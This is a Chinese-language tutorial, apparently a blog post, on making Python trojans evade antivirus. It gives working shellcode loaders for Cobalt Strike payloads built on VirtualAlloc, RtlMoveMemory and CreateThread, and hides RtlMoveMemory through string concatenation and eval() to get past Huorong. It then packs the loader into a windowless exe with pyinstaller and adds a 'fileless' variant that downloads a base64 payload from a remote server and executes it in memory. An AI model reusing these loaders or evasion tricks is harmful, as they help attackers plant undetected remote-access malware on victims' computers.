Python木马免杀
免杀就是指能够使病毒木马逃避杀毒软件检测的一种技术。总体来讲,免杀分为静态免杀和动态免杀,静态免杀基于特征值,而动态免杀则是基于行为。这里我们以Python木马静态免杀为例。
使用Cobalt Strike生成木马
这里,我们选择Python
运行
import ctypes
#ctypes模块
#模块ctypes是Python内建立的用于调用动态链接库函数的功能模块
#shellcode填这里
shellcode = b"Cobalt Strike生成的Python木马"
#申请内存属于64位
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#申请一块内存空间
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
# 往内存空间里写入shellcode
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
# 创建线程
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
# 执行线程
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
使用火绒,会被查杀
我们去掉RtlMoveMemory这个函数,发现火绒并不会报毒,这里我们就明白了,火绒是根据特征值RtlMoveMemory去进行病毒查杀,我们只要对RtlMoveMemory进行一些处理,绕过就好。
字符串拼接
使用字符串拼接,最后并用eval()函数将str类型的code转换为变量,利用Python弱类型语言这个特性进行绕过火绒查杀。
import ctypes
#shellcode填这里
shellcode = b"Cobalt Strike生成的Python木马"
code = 'ctypes.windll.kernel32.RtlMove'
code = code + 'Memory'
#申请内存属于64位
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
#申请一块内存空间
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
# 往内存空间里写入shellcode
eval(code)(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
# 创建线程
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
# 执行线程
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
成功绕过火绒,这里我们使用pyinstaller来进行打包,生成exe文件。
若没有pyinstaller模块,则使用Pip下载
pip install pyinstaller
打包py文件
pyinstaller -F -w KillFree.py
-h,–help | 查看该模块的帮助信息 |
---|---|
-F,-onefile | 产生单个的可执行文件 |
-D,–onedir | 产生一个目录(包含多个文件)作为可执行程序 |
-a,–ascii | 不包含 Unicode 字符集支持 |
-d,–debug | 产生 debug 版本的可执行文件 |
-w,–windowed,–noconsolc | 指定程序运行时不显示命令行窗口(仅对 Windows 有效) |
-c,–nowindowed,–console | 指定使用命令行窗口运行程序(仅对 Windows 有效) |
-o DIR,–out=DIR | 指定 spec 文件的生成目录。如果没有指定,则默认使用当前目录来生成 spec 文件 |
-p DIR,–path=DIR | 设置 Python 导入模块的路径(和设置 PYTHONPATH 环境变量的作用相似)。也可使用路径分隔符(Windows 使用分号,Linux 使用冒号)来分隔多个路径 |
-n NAME,–name=NAME | 指定项目(产生的 spec)名字。如果省略该选项,那么第一个脚本的主文件名将作为 spec 的名字 |
在当前会生成一个dist文件夹,下面则放置着我们的KillFree.exe免杀程序且运行时不会弹出窗口。
运行成功上线CS。
无文件落地
首先,将我们的Python木马进行Base64编码,放到一个paoload.txt文件中。然后放到我们的公网服务器上,使用Python启动一个程序,要求可以访问到我们的木马文件。
python -m http.server 8080 #Python3
python -m SimpleHTTPServer 8080 #Python2
这里,我们使用Python的requests或者urllib模块去访问我们的Payload.txt恶意代码,并将它解码,最后再利用pyinstaller这样就能实现无文件落地。
import codecs
import ctypes, base64, requests,urllib
#两种请求方式,requests和urllib模块
encode_shellcode = requests.get("http://x.x.x.x:8080/payload.txt").text
#encode_shellcode = urllib.request.urlopen('http://x.x.x.x:8080/payload.txt').read()
# strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
shellcode_txt = encode_shellcode.strip()
shellcode = base64.b64decode(shellcode_txt)
shellcode = codecs.escape_decode(shellcode)[0]
code = 'ctypes.windll.kernel32.RtlMove'#这里的最后我删掉了一个'y'
code = code + 'Memory'
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
eval(code)(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
补充:
在免杀中,我们分别利用了生成器,加载器,打包器,加密器,执行器
本文中,使用CS生成的Python的shellcode,CS就叫做生成器
常见的生成器:CS、MSF
我们使用Python的ctypes模块加载shellcode,ctypes就叫做加载器
常见的加载器:ctypes、C/C++、ruby、Go、C#
用pyinstaller将代码打包成exe程序,pyinstaller就叫做打包器
常见的打包器:pyinstaller、py2exe
选用base64编码对代码进行混淆,base64就叫做加密/编码器
常见的加密器:Base64、hex、异或、AES、RSA
我们是通过ctypes调用并执行Python的函数,这就是执行器
免杀技术小结
-
文件免杀
-
修改特征码
-
花指令(垃圾指令)
-
加壳免杀
-
-
内存免杀
-
行为免杀
- 替换API
- 重写API
- 合理更改调用顺序
- 绕过调用源